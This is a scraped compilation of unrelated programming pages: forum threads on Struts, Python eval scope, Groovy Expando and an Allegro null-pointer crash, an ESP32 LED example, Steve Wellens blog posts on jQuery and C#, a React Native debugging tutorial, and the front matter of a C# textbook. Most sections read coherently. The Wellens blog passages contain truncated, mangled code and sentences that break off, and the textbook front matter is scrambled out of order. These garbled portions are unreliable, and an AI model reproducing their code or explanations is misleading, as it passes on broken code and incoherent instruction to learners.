Before starting to create example using JSP we should have focus
JSP - Struts
JSP Hi,
Can you please tell me how to load the values in selectbox which are stored in arraylist using struts-taglibs
Note:I am neither using form nor bean...
I want the arraylist values to be dispalyed in selectbox
Ask Questions?
If you are facing any programming issue, such as compilation errors or not able to find the code you are looking for.
Ask your questions, our development team will try to give answers to your questions.
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http://roseindia.net/tutorialhelp/comment/100043
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On Fri, Nov 23, 2012 at 11:14 PM, <esandin at gmail.com> wrote: > Why isn't 'a' defined? > Shouldn't you be able to define the global variables with a dict passed to eval? > Is there an other way to do this, beside the two obvious: defining 'a' before calling gp_function and using a as an argument in gp_function? It is defined, but not in the context of the called function. You defined that function in a particular scope, which then becomes its global scope. (I'm handwaving a lot of details here. Bear with me.) When you eval a bit of code, you define the global scope for _that code_, but not what it calls. Calling gp_function from inside there switches to the new global scope and off it goes. Normally, I'd recommend your second option, passing a as an argument. It's flexible, clear, doesn't rely on fancy names and hidden state. But to answer your actual question: Yes, there is another way to do it. In all probability, gp_function is actually defined at module scope (I'm guessing here but it seems likely based on your description). Simply assign to the module's namespace before calling it - it'll "see" that as a global. ChrisA
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Originally posted by Marc Peabody: I've used maps a bit in Groovy when I need to mock something in a unit test like explained here: Developer Testing using Maps and Expandos instead of Mocks I also sometimes like to swap out a closure in a class for another closure when I test. It's been so helpful that sometimes I wonder about just replacing all of my methods with closures. Since Expando and map have so much in common, I wrote some code to see how the two might behave differently. (Go ahead and drop this in your GroovyConsole) def map_boy = [age: 6, doSomething: { println 'pick nose'}, toString: {'hi'}]
def exp_boy = new Expando(age: 6, doSomething: { println 'pick nose' }, toString:{'hi'} )
def boys = [map_boy, exp_boy]
boys.each{boy->
println boy.age
boy.doSomething()
println boy.toString()
} The result: 6 pick nose {age=6, doSomething=Script7$_run_closure1@b6f7f5, toString=Script7$_run_closure2@5113f0} 6 pick nose hi Both map and Expando allowed me to mock out properties and closures. The closures let me make calls on the map or Expando as if I were calling a normal method. The difference was on toString and my hunch is that equals and hashCode work the same way - Expando lets us essentially override them while map does not. If this truly is the only difference, I think I'd rather stick to using maps unless I absolutely need to use toString, hashCode, or equals.
Originally posted by Chris Patti: Aha! I finally get it! So an Expando is just a map that lets you call methods on it which are actually the map's keys, and the values are a closure that does whatever you want it to do.
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http://www.coderanch.com/t/49/Groovy/fuzzy-Expando-class-good-examples
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This blinky project shows how to interface LED to the ESP32 and write a simple program to make the LED blink. The full code is on Github, click here..
#include "freertos/FreeRTOS.h" #include "esp_event.h" #include "driver/gpio.h" #define LED_GPIO_PIN GPIO_NUM_4 void app_main(void) { int level = 0; /* setup */ gpio_set_direction(LED_GPIO_PIN, GPIO_MODE_OUTPUT); /* loop */ while (true) { gpio_set_level(LED_GPIO_PIN, level ^= 1); vTaskDelay(500 / portTICK_PERIOD_MS); } }
2 thoughts on “ESP32 – blinky with delay function”
gpi0 ? reset? How do you bring esp32 in upload firmware mode?
Yes. The ESP32 will enter the serial bootloader when GPIO0 is held low on reset. Otherwise it will run the program in flash. More info here –.
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https://blog.podkalicki.com/esp32-blinky-with-delay-function/?replytocom=356
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I have started to re-code Jump Pacman because the code got very very messy but now I can't even load an image without it crashing.
I have attached the entire project without the lib and include directory. (Setup using static libs Allegro 5.0.3)
Anyone have a clue to why this is happening.
This is where it seems to break.
Hope someone can shed some light on this matter.
desmondtaylor.co.uk | Google+ Profile | BitBucket Repositories
The usual response is that relative path may not necessarily be where you think it is, i.e. to the executable. Are you checking for file not exists or if the bitmap creation failed?
Neil.MAME Cabinet Blog / AXL LIBRARY (a games framework) / AXL Documentation and Tutorial
wii:0356-1384-6687-2022, kart:3308-4806-6002. XBOX:chucklepie
I am to the archive and it loads that. I know for a fact that the image is in the correct place too. It just seems to crash when calling that function and I've written the function that way many times before without error.
This is what the Load function does.
When I started using A5 recently I found I had difficulty loading stuff as well. Then I learned that A5 has a path-handling system using ALLEGRO_PATH objects. That seemed to solve my problems.
You first create an ALLEGRO_PATH object, then use al_get_standard_path() to get the full path of where your executable is, then you can use al_append_path_component() to go deeper into a directory structure and al_set_path_filename() to set the filename.
Then, to load a file, use al_path_cstr() to convert the contents of an ALLEGRO_PATH object into a string.
Even if this seems overly complicated, it would be good to learn because you can use al_get_standard_path() to get other path locations suitable for storing global data, accessible by all users, or current-user-specific data.
--- Kris Asick (Gemini)---
Did you actually create the game, gfx, and bitmap objects?
And there's no shame in using a debugger
---Smokin' Guns - spaghetti western FPS action
@Kris Asick,
I know that the path is correct :/ I took all of this from my one script version and re-coding it so that I know what's going on since I got lost in the original one.
Did you actually create the game, gfx, and bitmap objects?
Yes, Convert the *.dat file to a *.zip file and extract it. You'll notice the images are in there. You can also use 7z to open it as it is.
And there's no shame in using a debugger
I would but I really have no clue on how to use it :/
Edit: I get this when I press F8.
I was thinking about the objects in the code, not the data files.
I don't get what you mean but I have been sat here trying to work some stuff out and I might have the auto_ptr's setup wrong.
game.h
game.cpp
That's where it is declared and then initialized.
Oh... you're using PHYSFS... That would've been helpful to know ahead of time.
I took a look at your entire codebase... I know this sounds trivial, but try changing your vector definition in graphics.h to this:
std::vector<(ALLEGRO_BITMAP*)> bitmap;
Dunno if this will help but I seem to recall having issues using pointers and vectors in the past.
Beyond that, it would help to know exactly which line of Graphics::Load() is crashing the program, whether it's the actual Allegro load itself or your vector handling commands afterwards.
EDIT: Oh, and I've never used auto_ptr objects so if that's where the problem is then I wouldn't've had a clue.
I just tried that and still the same error. :/
Edit: I was given information on how to use auto_ptr within a class before and can be read on these forums [1]. However, I have done it correctly according to that :/
I'm going to check this by not using auto_ptr and just allocate it myself to see if it gets rid of the error.
Though... why are you using auto_ptr objects? Just to get around cleanup code? Couldn't you just use "new" and "delete" commands as usual?
gfx = new Graphics;
and in Game::~Game():
delete gfx;
I dunno, that just seems simpler to me, and then it would be far more obvious when and where these objects would be created and destroyed.
Funny enough, I just edited my last post saying that I am going to see if that fixes my problem.
EDIT: No that didn't fix the error meaning I defiantly set that up correctly. I am now out of ideas on what it causing this.
Are you absolutely sure that Allegro is initialised before you try to call any Allegro functions? There are no global variables anywhere with constructors that that call Allegro functions?
Are you absolutely sure that Allegro is initialised before you try to call any Allegro functions? There are no global variables anywhere with constructors that that call Allegro functions?
Taken from game.cpp
This is the first class that is initialized and that initializes Allegro so there is no chance of that happening :/ If I comment out the contents of Graphics::Load() so it only returns -1 then it still gives the error. I don't think it is to do with allegro :/
Graphics is initialized after Game but before Menu so it's defiantly all initialized first.
I will edit this with an attachment to an executable.
Edit: Added the attachment.
I think I know what the problem is, and the fact it's letting you compile and link with this going on is... weird.
Basically, your "game" object should NOT be accessible from menu.cpp.
Try this:
1. Remove the following line from menu.cpp:game->gfx->Load("gfx/menu_bg.png");
2. Add the following line after creating your new gfx object in game.cpp:this->gfx->Load("gfx/menu_bg.png");
But I wan't it to load from menu.cpp like when I get to player I wan't player.cpp to load the player images.
Can you single step through and into your code and see what might be happening, e.g. the objects are null as mentioned, etc.
If you want to load your graphics from your menu routine, then your menu routine needs to be made completely aware of your graphics object.
game.cpp
this->gfx = std::auto_ptr<Graphics>( new Graphics );
this->menu = std::auto_ptr<Menu>( new Menu );
this->menu->loadgfx(this->gfx);
menu.cpp
#include "menu.h"
#include "graphics.h"
Menu::Menu()
{
printf( "Menu Started!\n" );
}
int Menu::loadgfx (Graphics *gfx)
{
return gfx->Load( "gfx/menu_bg.png" );
}
I'm in a rush now and don't have you code in front of me anymore, but I think you can get the idea. Menu doesn't have direct access to your game object which explains why the pointer value is 0x0 when inside your menu routine.
I could just do that and pass the gfx pointer into this->menu = std::auto_ptr<Menu>( new Menu( this->gfx ) );
or this->menu = std::auto_ptr<Menu>( new Menu( this ) ); because I need to get input when I set that class up too xD
Edit: I don't know how to step though the code as I don't know how to use the debugger.
Edit 2: I am going with passing a pointer to the class constructor and storing a pointer to it.
I think you forgot to call al_init_image_addon before you tried to load your graphics. I don't see it in your Game constructor anywhere. Nevermind, I see it in your Graphics constructor now...
#0 004B91C2 std::auto_ptr<Graphics>::operator->(this=0x0) (c:/mingw/bin/../lib/gcc/mingw32/4.5.2/include/c++/backward/auto_ptr.h:195)
#1 0040165E Menu::Menu(this=0x8d8d858) (E:\Projects\Jump Pacman\src\menu.cpp:7)
#2 004018B2 Game::Game(this=0xa53a20) (E:\Projects\Jump Pacman\src\game.cpp:38)
#3 004015CC main(argc=1, argv=0xa527d0) (E:\Projects\Jump Pacman\src\main.c:5)
See the part in frame #0 where it says 'this = 0x0'. You're trying to dereference a null pointer somehow. I don't know how the address of the auto_ptr got to be null though.
I see what you did.
src\game.h line 33 :
extern std::auto_ptr<Game> game;
src\game.cpp line 3 :
std::auto_ptr<Game> game;
src\main.c line 5 :
std::auto_ptr<Game> game( new Game );
If you had turned on all of your compiler warnings, you would have noticed this :src\main.c:5:29: warning: declaration of 'game' shadows a global declaration(With gcc/MinGW use -Wall and -Wshadow)
So the reason the Menu constructor is crashing is because it uses the global 'game' variable, which has been initialized by the default auto_ptr constructor, which is unable to guess where your object is located, which is why it was trying to dereference a null.
, Stupid me. I shall turn on all compiler warnings now. I have a banging headache at the moment so when the paracetamol kicks in I shall work on it.
Thanks
If you don't know how to use the debugger, I suggest you do it now before you go any further down your programming path.
You mentioned pressing F8, are you using Visual Studio Express 2005?
Nope, Code::Blocks 10.05
I've never used code blocks but given it's just a front end to mingw you enable the debugging symbols and hopefully c::b includes the debuger.
A quick google says go to the compiler options and tick the box 'produce debugging symbols', then everything else is done via the debug menu like start/stop/jump over/jump in (probably keypresses if you look closely enough in the menu).
That'll get you started in your code (allegro will still be out of bounds as far as drilling down, but most of the time you don't need to anyway). Couldn't be simpler
Thanks Neil
Sorry I didn't reply back so fast I was busy with animating the menu. It looks more like The Simpson's now.
{"name":"604415","src":"\/\/djungxnpq2nug.cloudfront.net\/image\/cache\/6\/9\/69fb4283685592832ffb2b55f6c0fa22.png","w":640,"h":480,"tn":"\/\/djungxnpq2nug.cloudfront.net\/image\/cache\/6\/9\/69fb4283685592832ffb2b55f6c0fa22"}
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https://www.allegro.cc/forums/thread/607716/923205
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installed.
Steve Wellens
Note to Professional Editors: I'm aware the text vacillates between second and third person form…but it seemed to work that way so I broke the rules.
CodeProject:.
Here are a few more Linq extension method examples:
double Average = MyList1.Average();
int Sum = MyList1.Sum();
MyList3 = MyList1.Where(x => x > 2).ToArray();
OK, Linq is awesome. I am sold. To get a list.
I hope someone finds this useful.
BTW, I have gotten used to the abomination of Reverse Polish SQL. Hmmm, I wonder where that old HP calculator went to.
I've always appreciated these tools: Expresso and XPath Builder. They make designing regular expressions and XPath selectors almost fun! Did I say fun? I meant less painful. Being able to paste/load text and then interactively play with the search criteria is infinitely better than the code/compile/run/test cycle. It's faster and you get a much better feel for how the expressions work.
So, I decided to make my own interactive tool to test jQuery selectors: jQuery Selector Tester.
Here's a sneak peek:
Note: There are some existing tools you may like better:
My tool is different:
I couldn't upload an .htm or .html file to this site so I hosted it on my personal site here: jQuery Selector Tester.
Design Highlights:
To make the interactive search work, I added a hidden div to the page:
<!--Hidden div holds DOM elements for jQuery to search-->
<div id="HiddenDiv" style="display: none">
</div>
<!--Hidden div holds DOM elements for jQuery to search-->
<div id="HiddenDiv" style="display: none">
</div>
When ready to search, the searchable html text is copied into the hidden div…this renders the DOM tree in the hidden div:
// get the html to search, insert it to the hidden div
var Html = $("#TextAreaHTML").val();
$("#HiddenDiv").html(Html);
// get the html to search, insert it to the hidden div
var Html = $("#TextAreaHTML").val();
$("#HiddenDiv").html(Html);
When doing a search, I modify the search pattern to look only in the HiddenDiv. To do that, I put a space between the patterns. The space is the Ancestor operator (see the Cheat Sheet):
// modify search string to only search in our
// hidden div and do the search
var SearchString = "#HiddenDiv " + SearchPattern;
try
{
var $FoundItems = $(SearchString);
}
// modify search string to only search in our
// hidden div and do the search
var SearchString = "#HiddenDiv " + SearchPattern;
try
{
var $FoundItems = $(SearchString);
}
Big Fat Stinking Faux Pas:
I was about to publish this article when I made a big mistake: I tested the tool with Mozilla FireFox. It blowed up…it blowed up real good. In the past I’ve only had to target IE so this was quite a revelation.
When I started to learn JavaScript, I was disgusted to see all the browser dependent code. Who wants to spend their time testing against different browsers and versions of browsers? Adding a bunch of ‘if-else’ code is a tedious and thankless task. I avoided client code as much as I could.
Then jQuery came along and all was good. It was browser independent and freed us from the tedium of worrying about version N of the Acme browser.
Right? Wrong!
I had used outerHTML to display the selected elements. The problem is Mozilla FireFox doesn’t implement outerHTML.
I replaced this:
// encode the html markup
var OuterHtml = $('<div/>').text(this.outerHTML).html();
With this:
// encode the html markup
var Html = $('<div>').append(this).html();
var OuterHtml = $('<div>').text(Html).html();
I replaced this:
// encode the html markup
var OuterHtml = $('<div/>').text(this.outerHTML).html();
// encode the html markup
var OuterHtml = $('<div/>').text(this.outerHTML).html();
With this:
// encode the html markup
var Html = $('<div>').append(this).html();
var OuterHtml = $('<div>').text(Html).html();
var Html = $('<div>').append(this).html();
var OuterHtml = $('<div>').text(Html).html();
I replaced this:
var Row = e.srcElement.parentNode;
With this:
var Row = e.target.parentNode;
var Row = e.srcElement.parentNode;
var Row = e.srcElement.parentNode;
var Row = e.target.parentNode;
var Row = e.target.parentNode;
I replaced this:
// this cell has the search pattern
var Cell = Row.childNodes[1];
// put the pattern in the search box and search
$("#TextSearchPattern").val(Cell.innerText);
With this:
// get the correct cell and the text in the cell
// place the text in the seach box and serach
var Cell = $(Row).find("TD:nth-child(2)");
var CellText = Cell.text();
$("#TextSearchPattern").val(CellText);
// this cell has the search pattern
var Cell = Row.childNodes[1];
// put the pattern in the search box and search
$("#TextSearchPattern").val(Cell.innerText);
// this cell has the search pattern
var Cell = Row.childNodes[1];
// put the pattern in the search box and search
$("#TextSearchPattern").val(Cell.innerText);
// get the correct cell and the text in the cell
// place the text in the seach box and serach
var Cell = $(Row).find("TD:nth-child(2)");
var CellText = Cell.text();
$("#TextSearchPattern").val(CellText);
// get the correct cell and the text in the cell
// place the text in the seach box and serach
var Cell = $(Row).find("TD:nth-child(2)");
var CellText = Cell.text();
$("#TextSearchPattern").val(CellText);
Notes:
My goal was to have a single standalone file. I tried to keep the features and CSS to a minimum–adding only enough to make it useful and visually pleasing.
When testing, I often thought there was a problem with the jQuery selector. Invariable it was invalid html code. If your results aren't what you expect, don't assume it's the jQuery selector pattern: The html may be invalid.
To help in development and testing, I added a double-click handler to the rows in the Cheat Sheet table. If you double-click a row, the search pattern is put in the search box, a search is performed and the page is scrolled so you can see the results. I left the test html and code in the page.
If you are using a CDN (non-local) version of the jQuery libraray, the designer in Visual Studio becomes extremely slow. That's why there are two version of the library in the header and one is commented out.
For reference, here is the jQuery documentation on selectors:
Here is a much more comprehensive list of CSS selectors (which jQuery uses):
I hope someone finds this useful.
Having">
<!-- #$-:Image map file created by GIMP Image Map plug-in -->
<!-- #$-:GIMP Image Map plug-in by Maurits Rijk -->
<!-- #$-:Please do not edit lines starting with "#$" -->
<!-- #$VERSION:2.3 -->
<!-- #$AUTHOR:Steve Wellens -->
<!-- #$DESCRIPTION:A bar graph with no instrinsic value -->
:
Steve Wellens.!.
And now on to...
// ---- Declaration -----------------------------
public class MyClass
// ----();
SetMyClass(Data);
// Data.StrTag is now "BBB"
SetMyClass(ref Data);…ie you can make it refer to a completely different object. Inside the function you can do: myClass = new MyClass() and the old object will be garbage collected and the new object will be returned to the caller.
That ends the review. Now let's look at passing strings as parameters.
Strings are reference types. So when you pass a String to a function, you do not need the ref keyword to change the string. Right? Wrong. Wrong, wrong, wrong.?
I spent hours unssuccessfully researching this anomaly until finally, I had a Eureka moment:
This code:
String MyString = "AAA";();
Now when you call the SetMyClass function without using ref, the parameter is unchanged...just like the string example.
Solution 1:
We could hard code the mangled id into the jQuery search criteria and it would work. But what a maintenance nightmare, in the future, the mangled id might change: Not acceptable. When people pay you money to write code, you should write good code.
Solution 2:
If you are using Asp.Net 4, you have control over the generated ids and can make them predictable. Then you can hard code the generated id into the CSS selector. However, that isn't the case for most sites at this time.
Solution.
Solution 4:
Two things make this next solution work..:
// ---- SetMasterPageTextBox --------------------------- // write hello in a textbox field on the master page function SetMasterPageTextBox() { /.
input[id$=MyTextBox]
The above line matches all HTML input elements with an id attribute that ends with CodeProject
Posted:
Nov 26 2010, 02:02 PM
by
SGWellens
| with 9 comment(s)
Filed under: ASP.NET, Steve Wellens, JQuery, Master Pages
// write hello in a textbox field on the master page
/.
The above line matches all HTML input elements with an id attribute that ends with "MyTextBox".
It will match:.
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http://weblogs.asp.net/SteveWellens/default.aspx?PageIndex=2
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React Native development tools - Part 2: Debugging tools.
In this tutorial, we will cover a couple of debugging tools which will help you uncover why your React Native app isn’t working as expected. Specifically, you’ll learn how to use the following tools:
- Reactotron
- React Native Debugger
This is the second of a three-part series on React Native development tools where we cover the following tools:
- Part 1: Linting tools
- Part 2: Debugging tools
- Part 3: Testing tools
Those two tools should cover most of the ground when debugging React Native apps. There are other tools which you can use, but we won’t cover them here today. We also won’t be covering tools for debugging the app performance, and the native side of things (for example: how to find the issue with a specific native module you’ve installed).
Prerequisites.
The debug app
To make the tutorial more hands-on, I’ve created an app which we will be debugging. By default, it’s not runnable. There are multiple issues that I intentionally placed in there so we can debug it.
Note that running the debug app isn’t required. If you only want to check out the tools and what they offer, feel free to skip this part.
Here’s what the app looks like once all the issues are fixed:
It’s a Pokedex app which shows a random Pokemon everytime you click on it. It uses Redux for state management, and Redux Saga to handle the side effects or potential failures that might be caused by the HTTP requests that it’s going to perform.
Here are the commands that you can use to run a copy of the debug app:
git clone cd RNDebugging git checkout broken react-native upgrade react-native run-android # or react-native run-ios
In the above command, we’re switching to the
broken branch which contains the source code which has problems. The
master branch contains the working copy of the app.
Setting up Reactotron
The first tool that we’re going to setup is Reactotron, from the awesome guys at Infinite Red. Their tool allows developers to inspect React and React Native projects. Best of all, it’s available on all major platforms (Windows, Mac OS, Linux) in an easily installable file. Reactotron is created using Electron, that’s why it’s multi-platform.
I’m not going to go over Reactotron’s features and what makes it great (there’s the official website for that). So we’re going to go right into it instead.
At the time of writing this tutorial, the stable version is v1.15.0. You can try installing the pre-released versions from here but I can’t ensure that it will work flawlessly. So in this tutorial, we’re going to stick with the latest stable version instead.
The first step is to go here and download the zip file for your operating system. After that, extract it and run the executable file.
If you’re on Mac, I recommend using brew instead. I assume you already have brew on your system so I won’t go over that:
brew update && brew cask install reactotron
There’s also the CLI version which can be installed via npm. But in this tutorial, we’re going to stick with the desktop app instead.
More information on installing Reactotron can be found here.
Setting up React Native Debugger
React Native Debugger is like the built-in React Native Debugger, but on steroids. Every feature you wished were available on React Native’s built-in debugger is available on this tool, plus more.
Unlike Reactotron, React Native Debugger hasn’t reached version one yet (but it’s pretty stable) so you can download the latest release from the releases page. At the time of writing of this tutorial, it’s at version 0.7.18.
Just like Reactotron, it’s created using Electron so you can download the specific zip file for your operating system. After that, you can extract it and run the executable.
If you’re on Mac, you can install it with the following command:
brew update && brew cask install react-native-debugger
Adding the monitoring code
The tools you’ve just set up won’t work with the app automatically. So that we can hook up the tools to the app, we need to perform a few additional steps first.
The first step is to install the following packages in the project:
npm install --save-dev reactotron-react-native reactotron-redux reactotron-redux-saga
Those are the dev dependencies for Reactotron. While for React Native Debugger, we have the following:
npm install --save-dev redux-devtools-extension
Next, open the
App.js in the project directory and add the following right after the
React import:
import React, { Component } from "react"; /* previous imports here.. */ // add these: import Reactotron from "reactotron-react-native"; import { reactotronRedux } from "reactotron-redux"; import sagaPlugin from "reactotron-redux-saga"; import { composeWithDevTools } from "redux-devtools-extension"; Reactotron.configure() .useReactNative() .use(reactotronRedux()) .use(sagaPlugin()) .connect(); const sagaMonitor = Reactotron.createSagaMonitor(); // update these: const sagaMiddleware = createSagaMiddleware({ sagaMonitor }); // add sagaMonitor as argument const store = Reactotron.createStore( reducer, {}, composeWithDevTools(applyMiddleware(sagaMiddleware)) );
Breaking down the code above, first, we include the
Reactotron module. This contains the methods for initializing the app so it can hook up with Reactotron:
import Reactotron from "reactotron-react-native";
Next, import
reactotron-redux. This is the Reactotron plugin which will allow us to monitor the state and the actions being dispatched:
import { reactotronRedux } from "reactotron-redux";
Another plugin we need to install is the
reactotron-redux-saga. This allows us to see the sagas and the effects that are triggered by the app:
import sagaPlugin from "reactotron-redux-saga";
For the React Native Debugger, we only need to import the module below. This is the redux-devtools version of Redux’s
compose method. This allows us to inject the method for monitoring the Redux’s global app state. That way, we can do time-travel debugging, inspect the state, and dispatch action from React Native Debugger:
import { composeWithDevTools } from "redux-devtools-extension";
Next, hook up the app to Reactotron:
Reactotron.configure() .useReactNative() // set the environment .use(reactotronRedux()) // use the redux plugin .use(sagaPlugin()) // use the redux-saga plugin .connect(); // connect to a running Reactotron instance
Next, set the
sagaMonitor as an argument to the
sagaMiddleWare. This allows us to monitor the sagas from the app:
const sagaMonitor = Reactotron.createSagaMonitor(); const sagaMiddleware = createSagaMiddleware({ sagaMonitor });
Lastly, instead of using the
createStore method from
redux, we use the one from
Reactotron. Here, we’re also using the
composeWithDevTools method to inject the redux-devtools functions:
const store = Reactotron.createStore( reducer, {}, composeWithDevTools(applyMiddleware(sagaMiddleware)) );
You can check this diff to make sure you’ve made the correct changes.
Debugging the app
Now we’re ready to start debugging the app. The first time you run the app, it will look like this:
As you’ve seen from the demo earlier, we expect a Pokeball image to be rendered on the screen. That way, we can click it and load new Pokemon. But in this case, there are none.
Throughout the tutorial, you might already have your ideas as to why something isn’t working. And you’re welcome to debug it without using any tools. But in this tutorial, we’re going to maximize the use of the debugging tools I introduced earlier to find out what the problem is.
The first problem is that the image isn’t being rendered. We can verify if this is really the case by using React Native Debugger. Launch it if it isn’t already. Then from your app, pull up the developer menu, and enable Remote JS Debugging. By default, this should pick up a running instance of the Chrome browser. But if you’ve launched React Native Debugger, it should pick that up instead.
If you have any running debugger instance on Chrome, close it first, disable remote JS debugging on your app, then enable it again.
Once the debugger picks up your app, it should look like this:
Everything above should look familiar because it has the same interface as the Chrome Developer Tools. Few tabs are missing, including the Elements, Timeline, Profiles, Security, and Audits. But there’s an additional UI such as the Redux devtools (upper left) and the component inspector (lower left).
What we’re interested in is the component inspector as this allows us to see which specific components are being rendered by the app. We can either sift through the render tree or search for a specific component:
As you can see from the demo above, we’ve searched for an
Image component but no results were returned. This verifies our assumption that the image is not really being rendered. From here, we can search for the component that we’re sure is rendering and then view the source:
The tool allows us to view the source file from which a specific component is being rendered. This is a very useful feature to have, especially if your project has a ton of files. You should avoid viewing the source for the
RCTView while debugging though, those are React specific views, and they won’t really help you debug your issue.
Upon inspecting the source code, we see that the image is depending on the
fetching prop to be
true before it renders. The
fetching prop is only set to
true when the app is currently fetching Pokemon data from Pokeapi. Removing that condition should fix the issue:
// src/components/PokemonLoader.js {!pokemon && ( <Image source={pokeball} resizeMode={"contain"} style={styles.pokeBall} /> )}
Once you’ve updated the file, the Pokeball should now show up on the screen:
But wait . . . it looks to be bigger than how it appeared on the very first demo earlier.
In cases where you want to quickly update the styles without updating the actual source code, you can edit the styles straight from the tool itself:
This will reflect the changes in the app as you make them. Note that this won’t automatically save to the source code so you still have to copy the updated styles afterward.
Now that the image is in its proper width and height. You can now click it to load a Pokemon…
But this time a new error pops up:
By the looks of it, it seems like the data that the
Card component is expecting isn’t there.
So our first move would be to check if the request is successfully being made. You can do that by right-clicking anywhere inside the left pane (where the redux-devtools and the component inspector is) and select Enable Network Inspect. By default, the network inspector is in the right pane (next to the Sources tab), but it won’t actually monitor any network request unless you tell it so.
As you can see from the screenshot above, the request to Pokeapi was successfully made. This means the problem is not in the network.
The next step is to verify if the data we’re expecting is actually being set in the state. We can check it from the Log monitor:
Looking at the above screenshot, it looks like the action is being invoked and the state is also updated. At this point, we already know that the cause of the error is that an incorrect data is set in the state. That’s why we got the
undefined error earlier.
At this point, you can dig through the code and find out what the issue is. But first, let’s see what sort of information Reactotron can offer us. Go ahead and launch Reactotron if you haven’t done so already.
By default, this is what Reactotron looks like. Most of the time, you’ll only stay on the Timeline tab. This will display the state changes, actions, sagas, and logs that you have triggered from the app. So you have to use the app so things will be logged in here:
Go ahead and reload the app, and then click on the Pokeball to initiate the request to the API. That will give you the following results:
From the screenshots above, you can see that Reactotron presents the error in a really nice way. Complete with line numbers where the exact error occurred. So now we have a much better idea of where the error occurred. This confirms our assumption from earlier that incorrect data is being set in the state. Now we know that the error occurred in the
src/components/Card.js file. This same error can be found on the error message displayed by the app. But I guess we can all agree that the one displayed by Reactotron is 50 times nicer and easier to read.
Upon further inspection of the things logged by Reactotron, we can see the actual contents of the API request (indicated by
0 and
1 in the
out object under
CALL). The app makes two HTTP requests to get all the details it needs: one for the general Pokemon data (name, types, sprite), and another for the description or flavor text.
Below that is
PUT. That displays the actual data that’s being sent to the reducer after the network request is made. Note that the value for
out is empty because the data isn’t actually being used in any of the components:
The above data is consistent with the one we found earlier in the React Native Debugger. But now we can clearly see that a
pokemon object is actually being sent to the reducer, along with the
type of action (
API_CALL_SUCCESS). That means the error must be in how the reducer makes the data available to the global app state.
If you look at the
mapStateToProps function in
src/components/PokemonLoader.js, you can see that it’s expecting
pokemon to be available in the state:
const mapStateToProps = state => { return { fetching: state.fetching, pokemon: state.pokemon, error: state.error }; };
And if you open
src/sagas/index.js, you’ll see how the Pokemon data is being sent to the reducer:
function* workerSaga() { try { let pokemonID = getRandomInt(MAX_POKEMON); const response = yield call(getPokemon, pokemonID); const pokemonData = response[0].data; const speciesData = response[1].data; const englishText = speciesData.flavor_text_entries.find(item => { return item.language.name == ENGLISH_LANGUAGE; }); const pokemon = { name: pokemonData.name, image: pokemonData.sprites.front_default, types: pokemonData.types, description: englishText.flavor_text }; yield put({ type: "API_CALL_SUCCESS", pokemon }); } catch (error) { yield put({ type: "API_CALL_FAILURE", error }); } }
From the code above, you can see that the worker saga is expecting the actual Pokemon data instead of one that’s wrapped around a
pokemon object.
This means that our assumption is correct. The problem is in the reducer. The one that’s actually making the data submitted from worker saga available to the global app state:
// src/redux/index.js export function reducer(state = initialState, action) { switch (action.type) { case API_CALL_REQUEST: return { ...state, fetching: true, error: null }; case API_CALL_SUCCESS: return { ...state, fetching: false, pokemon: action }; case API_CALL_FAILURE: return { ...state, fetching: false, pokemon: null, error: action.error }; default: return state; } }
See the problem? The problem is that we’re not extracting
pokemon from the
action like so:
case API_CALL_SUCCESS: return { ...state, fetching: false, pokemon: action.pokemon };
Remember that the action is being dispatched from the worker saga earlier. So
action.type is
API_CALL_SUCCESS. While
action.pokemon contains the Pokemon data:
// src/sagas/index.js yield put({ type: "API_CALL_SUCCESS", pokemon });
It is then made available to the
PokemonLoader as props via
mapStateToProps:
// src/components/PokemonLoader.js const mapStateToProps = state => { return { fetching: state.fetching, pokemon: state.pokemon, error: state.error }; };
We then make use of it inside the component’s
render method:
// src/components/PokemonLoader.js class PokemonLoader extends Component { render() { const { fetching, pokemon, requestPokemon, error } = this.props; /* the rest of the existing code inside render method here... */ } }
Once you’ve made the changes, the app should work as expected.
Conclusion
That’s it! In this tutorial, you’ve learned how to debug your React Native app using Reactotron and React Native Debugger. Specifically, you’ve learned how to inspect components (and their data), monitor network requests, state, actions, and sagas.
There are a lot more features that we haven’t taken a look at. Things like time-travel debugging, dispatching of actions, breakpoints, logging custom messages, and many more. I’ll be leaving those for you to explore.
Stay tuned for part three where you’ll learn about testing tools.
November 8, 2018
by Wern Ancheta
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hull.All rights reserved. Edition 2. Cottingham Road HULL HU6 7RX UK Department: Email: rob@robmiles.com If you find a mistake in the text please report the error to foundamistake@robmiles.com Blog: www. copy or transmission of this publication may be made without written permission.robmiles. 12 January 2011 iii . Robert Blackburn Building The University of Hull. The author can be contacted at: The Department of Computer Science.com and I will take a look. No reproduction.1 Wednesday.
.
These are based on real programming experience and are to be taken seriously. Programming is not rocket science it is. Staying up all night trying to sort out a problem is not a good plan. It just makes you all irritable in the morning.robmiles.com www. don't get too persistent. And remember that in many cases there is no best solution. i.com C# Programming © Rob Miles 2010 5 . The keys to learning programming are: Practice – do a lot of programming and force yourself to think about things from a problem solving point of view Study – look at programs written by other people. If you haven't solved a programming problem in 30 minutes you should call time out and seek help.csharpcourse. This is a world of bad jokes.com www. Figuring out how somebody else did the job is a great starting point for your solution. If you have not programmed before. enjoy programming. Or at least walk away from the problem and come back to it. Font.ac.dcs. programming. It is worth it just for the jokes and you may actually learn something. and this can be confusing. and then referred to afterwards. Not because they are stupid. If you have any comments on how the notes can be made even better (although I of course consider this highly unlikely) then feel free to get in touch Above all. the smallest. The website for the book is at Welcome Introduction Welcome Welcome to the Wonderful World of Rob Miles™. the easiest to use etc. Reading the notes These notes are written to be read straight through. If you have programmed before I'd be grateful if you'd still read the text. just ones which are better in a particular context. They contain a number of Programming Points. well. There are also bits written in a Posh These are really important and should be learnt by heart. You can learn a lot from studying code which other folk have created.e. Rob Miles rob@robmiles. We will cover what to do when it all goes wrong later in section 5. puns. In this book I'm going to give you a smattering of the C# programming language. And you have to work hard at it.9.uk Getting a copy of the notes These notes are made freely available to Computer Science students at the University of Hull. and programming. do not worry.hull. Persistence – writing programs is hard work. However. The principle reason why most folks don't make it as programmers is that they give up. the fastest. The bad news about learning to program is that you get hit with a lot of ideas and concepts at around the same time when you start.
